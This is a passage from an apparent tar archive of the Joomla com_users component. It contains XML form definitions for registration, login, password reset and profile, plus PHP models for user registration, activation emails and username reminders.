			label="COM_USERS_CAPTCHA_LABEL"
			description="COM_USERS_CAPTCHA_DESC"
			validate="captcha"
		/>
	</fieldset>
</form>com_users/models/forms/registration.xml000060400000004024152453734460014421 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_USERS_REGISTRATION_DEFAULT_LABEL">
		<field
			name="spacer"
			type="spacer"
			label="COM_USERS_REGISTER_REQUIRED"
			class="text"
		/>

		<field
			name="name"
			type="text"
			label="COM_USERS_REGISTER_NAME_LABEL"
			description="COM_USERS_REGISTER_NAME_DESC"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_USERS_REGISTER_USERNAME_LABEL"
			description="COM_USERS_DESIRED_USERNAME"
			class="validate-username"
			filter="username"
			message="COM_USERS_REGISTER_USERNAME_MESSAGE"
			required="true"
			size="30"
			validate="username"
		/>

		<field
			name="password1" 
			type="password"
			label="COM_USERS_PROFILE_PASSWORD1_LABEL"
			description="COM_USERS_DESIRED_PASSWORD"
			autocomplete="off"
			class="validate-password"
			field="password1"
			filter="raw"
			size="30"
			validate="password"
			required="true"
		/>

		<field
			name="password2"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD2_LABEL"
			description="COM_USERS_PROFILE_PASSWORD2_DESC"
			autocomplete="off"
			class="validate-password"
			field="password1"
			filter="raw"
			message="COM_USERS_PROFILE_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
			required="true"
		/>

		<field
			name="email1"
			type="email"
			label="COM_USERS_REGISTER_EMAIL1_LABEL"
			description="COM_USERS_REGISTER_EMAIL1_DESC"
			field="id"
			filter="string"
			required="true"
			size="30"
			unique="true"
			validate="email"
			validDomains="com_users.domains"
			autocomplete="email"
		/>

		<field
			name="email2"
			type="email"
			label="COM_USERS_REGISTER_EMAIL2_LABEL"
			description="COM_USERS_REGISTER_EMAIL2_DESC"
			field="email1"
			filter="string"
			message="COM_USERS_REGISTER_EMAIL2_MESSAGE"
			required="true"
			size="30"
			validate="equals"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_USERS_CAPTCHA_LABEL"
			description="COM_USERS_CAPTCHA_DESC"
			validate="captcha"
		/>
	</fieldset>
</form>
com_users/models/forms/reset_confirm.xml000060400000001055152453734460014547 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_CONFIRM_LABEL">
		<field
			name="username"
			type="text"
			label="COM_USERS_FIELD_RESET_CONFIRM_USERNAME_LABEL"
			description="COM_USERS_FIELD_RESET_CONFIRM_USERNAME_DESC"
			filter="username"
			required="true"
			size="30"
		/>

		<field
			name="token"
			type="text"
			label="COM_USERS_FIELD_RESET_CONFIRM_TOKEN_LABEL"
			description="COM_USERS_FIELD_RESET_CONFIRM_TOKEN_DESC"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
com_users/models/forms/frontend_admin.xml000060400000001426152453734460014701 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<!--  Backend user account settings. -->
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="admin_style"
				type="templatestyle"
				label="COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL"
				description="COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC"
				client="administrator"
				filter="uint"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="admin_language"
				type="language"
				label="COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL"
				description="COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC"
				client="administrator"
				filter="cmd"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

		</fieldset>
	</fields>
</form>
com_users/models/forms/login.xml000060400000001337152453734460013023 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="credentials" label="COM_USERS_LOGIN_DEFAULT_LABEL">
		<field
			name="username"
			type="text"
			label="COM_USERS_LOGIN_USERNAME_LABEL"
			class="validate-username"
			filter="username"
			size="25"
			required="true"
			validate="username"
			autofocus="true"
		/>

		<field
			name="password"
			type="password"
			label="JGLOBAL_PASSWORD"
			class="validate-password"
			required="true"
			filter="raw"
			size="25"
		/>
	</fieldset>

		<field
			name="secretkey"
			type="text"
			label="JGLOBAL_SECRETKEY"
			autocomplete="one-time-code"
			class=""
			filter="int"
			size="25"
		/>

	<fieldset>
		<field
			name="return"
			type="hidden"
		/>
	</fieldset>
</form>
com_users/models/forms/frontend.xml000060400000001700152453734460013524 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<!--  Basic user account settings. -->
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="editor"
				type="plugins"
				label="COM_USERS_USER_FIELD_EDITOR_LABEL"
				description="COM_USERS_USER_FIELD_EDITOR_DESC"
				folder="editors"
				useaccess="true"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="timezone"
				type="timezone"
				label="COM_USERS_USER_FIELD_TIMEZONE_LABEL"
				description="COM_USERS_USER_FIELD_TIMEZONE_DESC"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="language"
				type="language"
				label="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				description="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC"
				client="site"
				filter="cmd"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>
		</fieldset>
	</fields>
</form>
com_users/models/forms/remind.xml000060400000000765152453734460013175 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_USERS_REMIND_DEFAULT_LABEL">
		<field
			name="email"
			type="email"
			label="COM_USERS_FIELD_REMIND_EMAIL_LABEL"
			description="COM_USERS_FIELD_REMIND_EMAIL_DESC"
			required="true"
			size="30"
			validate="email"
			autocomplete="email"
		/>
		
		<field
			name="captcha"
			type="captcha"
			label="COM_USERS_CAPTCHA_LABEL"
			description="COM_USERS_CAPTCHA_DESC"
			validate="captcha"
		/>
	</fieldset>
</form>com_users/models/forms/sitelang.xml000060400000000622152453734460013515 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="language"
				type="language"
				label="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				description="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC"
				client="site"
				filter="cmd"
				default="active"
			/>
		</fieldset>
	</fields>
</form>com_users/models/forms/reset_complete.xml000060400000001370152453734460014722 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_COMPLETE_LABEL">
		<field
			name="password1"
			type="password"
			label="COM_USERS_FIELD_RESET_PASSWORD1_LABEL"
			description="COM_USERS_FIELD_RESET_PASSWORD1_DESC"
			autocomplete="off"
			class="validate-password"
			field="password2"
			filter="raw"
			message="COM_USERS_FIELD_RESET_PASSWORD1_MESSAGE"
			required="true"
			size="30"
			validate="equals"
		/>
		<field
			name="password2"
			type="password"
			label="COM_USERS_FIELD_RESET_PASSWORD2_LABEL"
			description="COM_USERS_FIELD_RESET_PASSWORD2_DESC"
			autocomplete="off"
			class="validate-password"
			filter="raw"
			required="true"
			size="30"
			validate="password"
		/>
	</fieldset>
</form>com_users/models/forms/profile.xml000060400000003561152453734460013354 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="core" label="COM_USERS_PROFILE_DEFAULT_LABEL">
		<field
			name="id"
			type="hidden"
			filter="integer"
		/>

		<field
			name="name"
			type="text"
			label="COM_USERS_PROFILE_NAME_LABEL"
			description="COM_USERS_PROFILE_NAME_DESC"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_USERS_PROFILE_USERNAME_LABEL"
			description="COM_USERS_DESIRED_USERNAME"
			class="validate-username"
			filter="username"
			message="COM_USERS_PROFILE_USERNAME_MESSAGE"
			required="true"
			size="30"
			validate="username"
		/>

		<field
			name="password1"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD1_LABEL"
			description="COM_USERS_DESIRED_PASSWORD"
			autocomplete="off"
			class="validate-password"
			filter="raw"
			size="30"
			validate="password"
		/>

		<field
			name="password2"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD2_LABEL"
			description="COM_USERS_PROFILE_PASSWORD2_DESC"
			autocomplete="off"
			class="validate-password"
			field="password1"
			filter="raw"
			message="COM_USERS_PROFILE_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
		/>

		<field
			name="email1"
			type="email"
			label="COM_USERS_PROFILE_EMAIL1_LABEL"
			description="COM_USERS_PROFILE_EMAIL1_DESC"
			filter="string"
			required="true"
			size="30"
			unique="true"
			validate="email"
			validDomains="com_users.domains"
			autocomplete="email"
		/>

		<field
			name="email2"
			type="email"
			label="COM_USERS_PROFILE_EMAIL2_LABEL"
			description="COM_USERS_PROFILE_EMAIL2_DESC"
			field="email1"
			filter="string"
			message="COM_USERS_PROFILE_EMAIL2_MESSAGE"
			required="true"
			size="30"
			validate="equals"
		/>
	</fieldset>
	
	<!-- Used to get the two factor authentication configuration -->
	<field
		name="twofactor"
		type="hidden"
	/>
</form>
com_users/models/registration.php000060400000044037152453734460013272 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

/**
 * Registration model class for Users.
 *
 * @since  1.6
 */
class UsersModelRegistration extends JModelForm
{
	/**
	 * @var    object  The user registration data.
	 * @since  1.6
	 */
	protected $data;

	/**
	 * Constructor
	 *
	 * @param   array  $config  An array of configuration options (name, state, dbo, table_path, ignore_request).
	 *
	 * @since   3.6
	 *
	 * @throws  Exception
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'events_map' => array('validate' => 'user')
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Method to get the user ID from the given token
	 *
	 * @param   string  $token  The activation token.
	 *
	 * @return  mixed   False on failure, id of the user on success
	 *
	 * @since   3.8.13
	 */
	public function getUserIdFromToken($token)
	{
		$db = $this->getDbo();

		// Get the user id based on the token.
		$query = $db->getQuery(true);
		$query->select($db->quoteName('id'))
			->from($db->quoteName('#__users'))
			->where($db->quoteName('activation') . ' = ' . $db->quote($token))
			->where($db->quoteName('block') . ' = ' . 1)
			->where($db->quoteName('lastvisitDate') . ' = ' . $db->quote($db->getNullDate()));
		$db->setQuery($query);

		try
		{
			return (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

			return false;
		}
	}

	/**
	 * Method to activate a user account.
	 *
	 * @param   string  $token  The activation token.
	 *
	 * @return  mixed    False on failure, user object on success.
	 *
	 * @since   1.6
	 */
	public function activate($token)
	{
		$config     = JFactory::getConfig();
		$userParams = JComponentHelper::getParams('com_users');
		$userId     = $this->getUserIdFromToken($token);

		// Check for a valid user id.
		if (!$userId)
		{
			$this->setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));

			return false;
		}

		// Load the users plugin group.
		JPluginHelper::importPlugin('user');

		// Activate the user.
		$user = JFactory::getUser($userId);

		// Admin activation is on and user is verifying their email
		if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0))
		{
			$linkMode = $config->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

			// Compile the admin notification mail values.
			$data = $user->getProperties();
			$data['activation'] = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
			$user->set('activation', $data['activation']);
			$data['siteurl'] = JUri::base();
			$data['activate'] = JRoute::link(
				'site',
				'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
				false,
				$linkMode,
				true
			);

			$data['fromname'] = $config->get('fromname');
			$data['mailfrom'] = $config->get('mailfrom');
			$data['sitename'] = $config->get('sitename');
			$user->setParam('activate', 1);
			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT',
				$data['name'],
				$data['sitename']
			);

			$emailBody = JText::sprintf(
				'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY',
				$data['sitename'],
				$data['name'],
				$data['email'],
				$data['username'],
				$data['activate']
			);

			// Get all admin users
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('name', 'email', 'sendEmail', 'id')))
				->from($db->quoteName('#__users'))
				->where($db->quoteName('sendEmail') . ' = 1')
				->where($db->quoteName('block') . ' = 0');

			$db->setQuery($query);

			try
			{
				$rows = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

				return false;
			}

			// Send mail to all users with users creating permissions and receiving system emails
			foreach ($rows as $row)
			{
				$usercreator = JFactory::getUser($row->id);

				if ($usercreator->authorise('core.create', 'com_users') && $usercreator->authorise('core.manage', 'com_users'))
				{
					$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBody);

					// Check for an error.
					if ($return !== true)
					{
						$this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

						return false;
					}
				}
			}
		}
		// Admin activation is on and admin is activating the account
		elseif (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0))
		{
			$user->set('activation', '');
			$user->set('block', '0');

			// Compile the user activated notification mail values.
			$data = $user->getProperties();
			$user->setParam('activate', 0);
			$data['fromname'] = $config->get('fromname');
			$data['mailfrom'] = $config->get('mailfrom');
			$data['sitename'] = $config->get('sitename');
			$data['siteurl'] = JUri::base();
			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT',
				$data['name'],
				$data['sitename']
			);

			$emailBody = JText::sprintf(
				'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY',
				$data['name'],
				$data['siteurl'],
				$data['username']
			);

			$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody);

			// Check for an error.
			if ($return !== true)
			{
				$this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

				return false;
			}
		}
		else
		{
			$user->set('activation', '');
			$user->set('block', '0');
		}

		// Store the user object.
		if (!$user->save())
		{
			$this->setError(JText::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError()));

			return false;
		}

		return $user;
	}

	/**
	 * Method to get the registration form data.
	 *
	 * The base form data is loaded and then an event is fired
	 * for users plugins to extend the data.
	 *
	 * @return  mixed  Data object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getData()
	{
		if ($this->data === null)
		{
			$this->data = new stdClass;
			$app = JFactory::getApplication();
			$params = JComponentHelper::getParams('com_users');

			// Override the base user data with any data in the session.
			$temp = (array) $app->getUserState('com_users.registration.data', array());

			// Don't load the data in this getForm call, or we'll call ourself
			$form = $this->getForm(array(), false);

			foreach ($temp as $k => $v)
			{
				// Here we could have a grouped field, let's check it
				if (is_array($v))
				{
					$this->data->$k = new stdClass;

					foreach ($v as $key => $val)
					{
						if ($form->getField($key, $k) !== false)
						{
							$this->data->$k->$key = $val;
						}
					}
				}
				// Only merge the field if it exists in the form.
				elseif ($form->getField($k) !== false)
				{
					$this->data->$k = $v;
				}
			}

			// Get the groups the user should be added to after registration.
			$this->data->groups = array();

			// Get the default new user group, guest or public group if not specified.
			$system = $params->get('new_usertype', $params->get('guest_usergroup', 1));

			$this->data->groups[] = $system;

			// Unset the passwords.
			unset($this->data->password1, $this->data->password2);

			// Get the dispatcher and load the users plugins.
			$dispatcher = JEventDispatcher::getInstance();
			JPluginHelper::importPlugin('user');

			// Trigger the data preparation event.
			$results = $dispatcher->trigger('onContentPrepareData', array('com_users.registration', $this->data));

			// Check for errors encountered while preparing the data.
			if (count($results) && in_array(false, $results, true))
			{
				$this->setError($dispatcher->getError());
				$this->data = false;
			}
		}

		return $this->data;
	}

	/**
	 * Method to get the registration form.
	 *
	 * The base form is loaded from XML and then an event is fired
	 * for users plugins to extend the form with extra fields.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.registration', 'registration', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// When multilanguage is set, a user's default site language should also be a Content Language
		if (JLanguageMultilang::isEnabled())
		{
			$form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$data = $this->getData();

		if (JLanguageMultilang::isEnabled() && empty($data->language))
		{
			$data->language = JFactory::getLanguage()->getTag();
		}

		$this->preprocessData('com_users.registration', $data);

		return $data;
	}

	/**
	 * Override preprocessForm to load the user plugin group instead of content.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		$userParams = JComponentHelper::getParams('com_users');

		// Add the choice for site language at registration time
		if ($userParams->get('site_language') == 1 && $userParams->get('frontend_userparams') == 1)
		{
			$form->loadFile('sitelang', false);
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Get the application object.
		$app = JFactory::getApplication();
		$params = $app->getParams('com_users');

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $temp  The form data.
	 *
	 * @return  mixed  The user id on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function register($temp)
	{
		$params = JComponentHelper::getParams('com_users');

		// Initialise the table with JUser.
		$user = new JUser;
		$data = (array) $this->getData();

		// Merge in the registration data.
		foreach ($temp as $k => $v)
		{
			$data[$k] = $v;
		}

		// Prepare the data for the user object.
		$data['email'] = JStringPunycode::emailToPunycode($data['email1']);
		$data['password'] = $data['password1'];
		$useractivation = $params->get('useractivation');
		$sendpassword = $params->get('sendpassword', 1);

		// Check if the user needs to activate their account.
		if (($useractivation == 1) || ($useractivation == 2))
		{
			$data['activation'] = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
			$data['block'] = 1;
		}

		// Bind the data.
		if (!$user->bind($data))
		{
			$this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError()));

			return false;
		}

		// Load the users plugin group.
		JPluginHelper::importPlugin('user');

		// Store the data.
		if (!$user->save())
		{
			$this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError()));

			return false;
		}

		$config = JFactory::getConfig();
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Compile the notification mail values.
		$data = $user->getProperties();
		$data['fromname'] = $config->get('fromname');
		$data['mailfrom'] = $config->get('mailfrom');
		$data['sitename'] = $config->get('sitename');
		$data['siteurl'] = JUri::root();

		// Handle account activation/confirmation emails.
		if ($useractivation == 2)
		{
			// Set the link to confirm the user email.
			$linkMode = $config->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

			$data['activate'] = JRoute::link(
				'site',
				'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
				false,
				$linkMode,
				true
			);

			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACCOUNT_DETAILS',
				$data['name'],
				$data['sitename']
			);

			if ($sendpassword)
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY',
					$data['name'],
					$data['sitename'],
					$data['activate'],
					$data['siteurl'],
					$data['username'],
					$data['password_clear']
				);
			}
			else
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW',
					$data['name'],
					$data['sitename'],
					$data['activate'],
					$data['siteurl'],
					$data['username']
				);
			}
		}
		elseif ($useractivation == 1)
		{
			// Set the link to activate the user account.
			$linkMode = $config->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

			$data['activate'] = JRoute::link(
				'site',
				'index.php?option=com_users&task=registration.activate&token=' . $data['activation'],
				false,
				$linkMode,
				true
			);

			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACCOUNT_DETAILS',
				$data['name'],
				$data['sitename']
			);

			if ($sendpassword)
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY',
					$data['name'],
					$data['sitename'],
					$data['activate'],
					$data['siteurl'],
					$data['username'],
					$data['password_clear']
				);
			}
			else
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW',
					$data['name'],
					$data['sitename'],
					$data['activate'],
					$data['siteurl'],
					$data['username']
				);
			}
		}
		else
		{
			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACCOUNT_DETAILS',
				$data['name'],
				$data['sitename']
			);

			if ($sendpassword)
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_BODY',
					$data['name'],
					$data['sitename'],
					$data['siteurl'],
					$data['username'],
					$data['password_clear']
				);
			}
			else
			{
				$emailBody = JText::sprintf(
					'COM_USERS_EMAIL_REGISTERED_BODY_NOPW',
					$data['name'],
					$data['sitename'],
					$data['siteurl']
				);
			}
		}

		// Send the registration email.
		$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody);

		// Send Notification mail to administrators
		if (($params->get('useractivation') < 2) && ($params->get('mail_to_admin') == 1))
		{
			$emailSubject = JText::sprintf(
				'COM_USERS_EMAIL_ACCOUNT_DETAILS',
				$data['name'],
				$data['sitename']
			);

			$emailBodyAdmin = JText::sprintf(
				'COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY',
				$data['name'],
				$data['username'],
				$data['siteurl']
			);

			// Get all admin users
			$query->clear()
				->select($db->quoteName(array('name', 'email', 'sendEmail', 'id')))
				->from($db->quoteName('#__users'))
				->where($db->quoteName('sendEmail') . ' = 1')
				->where($db->quoteName('block') . ' = 0');

			$db->setQuery($query);

			try
			{
				$rows = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

				return false;
			}

			// Send mail to all users with user creating permissions and receiving system emails
			foreach ($rows as $row)
			{
				$usercreator = JFactory::getUser($row->id);

				if ($usercreator->authorise('core.create', 'com_users') && $usercreator->authorise('core.manage', 'com_users'))
				{
					$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBodyAdmin);

					// Check for an error.
					if ($return !== true)
					{
						$this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED'));

						return false;
					}
				}
			}
		}

		// Check for an error.
		if ($return !== true)
		{
			$this->setError(JText::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED'));

			// Send a system message to administrators receiving system mails
			$db = $this->getDbo();
			$query->clear()
				->select($db->quoteName('id'))
				->from($db->quoteName('#__users'))
				->where($db->quoteName('block') . ' = ' . (int) 0)
				->where($db->quoteName('sendEmail') . ' = ' . (int) 1);
			$db->setQuery($query);

			try
			{
				$userids = $db->loadColumn();
			}
			catch (RuntimeException $e)
			{
				$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

				return false;
			}

			if (count($userids) > 0)
			{
				$jdate = new JDate;

				// Build the query to add the messages
				foreach ($userids as $userid)
				{
					$values = array(
						$db->quote($userid),
						$db->quote($userid),
						$db->quote($jdate->toSql()),
						$db->quote(JText::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT')),
						$db->quote(JText::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $return, $data['username']))
					);
					$query->clear()
						->insert($db->quoteName('#__messages'))
						->columns($db->quoteName(array('user_id_from', 'user_id_to', 'date_time', 'subject', 'message')))
						->values(implode(',', $values));
					$db->setQuery($query);

					try
					{
						$db->execute();
					}
					catch (RuntimeException $e)
					{
						$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

						return false;
					}
				}
			}

			return false;
		}

		if ($useractivation == 1)
		{
			return 'useractivate';
		}
		elseif ($useractivation == 2)
		{
			return 'adminactivate';
		}
		else
		{
			return $user->id;
		}
	}
}
com_users/models/remind.php000060400000011063152453734460012027 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Remind model class for Users.
 *
 * @since  1.5
 */
class UsersModelRemind extends JModelForm
{
	/**
	 * Method to get the username remind request form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JFor     A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.remind', 'remind', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Override preprocessForm to load the user plugin group instead of content.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @throws	Exception if there is an error in the form event.
	 *
	 * @since   1.6
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, 'user');
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Get the application object.
		$app = JFactory::getApplication();
		$params = $app->getParams('com_users');

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Send the remind username email
	 *
	 * @param   array  $data  Array with the data received from the form
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function processRemindRequest($data)
	{
		// Get the form.
		$form = $this->getForm();
		$data['email'] = JStringPunycode::emailToPunycode($data['email']);

		// Check for an error.
		if (empty($form))
		{
			return false;
		}

		// Validate the data.
		$data = $this->validate($form, $data);

		// Check for an error.
		if ($data instanceof Exception)
		{
			return false;
		}

		// Check the validation results.
		if ($data === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		// Find the user id for the given email address.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__users'))
			->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($data['email']) . ')');

		// Get the user id.
		$db->setQuery($query);

		try
		{
			$user = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

			return false;
		}

		// Check for a user.
		if (empty($user))
		{
			$this->setError(JText::_('COM_USERS_USER_NOT_FOUND'));

			return false;
		}

		// Make sure the user isn't blocked.
		if ($user->block)
		{
			$this->setError(JText::_('COM_USERS_USER_BLOCKED'));

			return false;
		}

		$config = JFactory::getConfig();

		// Assemble the login link.
		$link = 'index.php?option=com_users&view=login';
		$mode = $config->get('force_ssl', 0) == 2 ? 1 : (-1);

		// Put together the email template data.
		$data = ArrayHelper::fromObject($user);
		$data['fromname'] = $config->get('fromname');
		$data['mailfrom'] = $config->get('mailfrom');
		$data['sitename'] = $config->get('sitename');
		$data['link_text'] = JRoute::_($link, false, $mode);
		$data['link_html'] = JRoute::_($link, true, $mode);

		$subject = JText::sprintf(
			'COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT',
			$data['sitename']
		);
		$body = JText::sprintf(
			'COM_USERS_EMAIL_USERNAME_REMINDER_BODY',
			$data['sitename'],
			$data['username'],
			$data['link_text']
		);

		// Send the password reset request email.
		$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body);

		// Check for an error.
		if ($return !== true)
		{
			$this->setError(JText::_('COM_USERS_MAIL_FAILED'), 500);

			return false;
		}

		$dispatcher = \JEventDispatcher::getInstance();
		$dispatcher->trigger('onUserAfterRemind', array($user));

		return true;
	}
}
com_users/models/login.php000060400000005245152453734460011666 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
